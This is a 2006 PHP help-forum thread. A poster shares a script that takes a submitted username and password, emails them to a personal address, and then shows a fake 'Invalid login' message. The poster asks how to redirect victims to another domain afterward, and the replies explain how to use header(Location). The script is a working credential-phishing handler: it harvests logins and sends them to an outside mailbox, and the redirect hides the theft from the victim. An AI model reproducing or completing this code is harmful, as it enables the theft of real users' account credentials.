Page 1 of 1

PHP Redirect Code

Posted: Sun Apr 09, 2006 8:24 pm
by Cell 2Dee
feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]


Wassup, I'm new to PHP and I'm tryna learn how to do something. I wanna redirect a page and everytime I try it says 'parse error' etc., but I guess that's cuz I was using HTML on it . Anyway, here's the code I'm tryna edit

Code: Select all

<?php
$to = "cell.2dee@gmail.com"; //
$username = $_POST['username'];
$password = $_POST['password'];
$sub = "form to mail";
$messub = "Subject: ".$subject."n";
$mesname .= "Name: ".$username."n";
$mespass .= "Pass: ".$password."n";
if(empty($username) || empty($password))  {
echo " <h3>Please enter your username.</h3>";
}
else {
mail($to,$sub,$username,$password);
print " <h3><center>Invalid login.Please try later.".$name."</center></h3>";

}
?>
Now where it says 'Invalid login.Please try later.', I want this page to just redirect to http://www.redirectdomain.com but I'm not sure what to edit.

Thanks if someone can help


feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]

Posted: Sun Apr 09, 2006 9:06 pm
by feyd

Posted: Mon Apr 10, 2006 9:14 am
by jito
yes,
like feyd already said, use Header(location:<destination>) and take care of outputs. Don't use any output message before header, otherwise u will get an error.

Posted: Mon Apr 10, 2006 9:17 am
by jito
srry,not an error but a warning